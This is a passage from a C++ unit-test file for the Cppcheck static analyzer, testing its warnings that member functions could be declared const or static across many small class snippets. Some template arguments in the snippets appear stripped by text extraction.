[test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const9() {\n // ticket #1515\n checkConst(\"class wxThreadInternal {\\n\"\n \"public:\\n\"\n \" void SetExitCode(wxThread::ExitCode exitcode) { m_exitcode = exitcode; }\\n\"\n \"private:\\n\"\n \" wxThread::ExitCode m_exitcode;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const10() {\n // ticket #1522\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x : x = 0; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { return x ? x = 0 : x; }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const11() {\n // ticket #1529\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" void set(struct tm time) { m_time = time; }\\n\"\n \"private:\\n\"\n \" struct tm m_time;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const12() {\n // ticket #1525\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int foo() { x = 0; }\\n\"\n \"private:\\n\"\n \" mutable int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const13() {\n // ticket #1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::vector GetVec() {return m_vec;}\\n\"\n \" std::pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:27]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::vector & GetVec() {return m_vec;}\\n\"\n \" const std::pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::vector m_vec;\\n\"\n \" std::pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:30]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\"\n \"[test.cpp:5:35]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const14() {\n // extends ticket 1519\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double> GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" 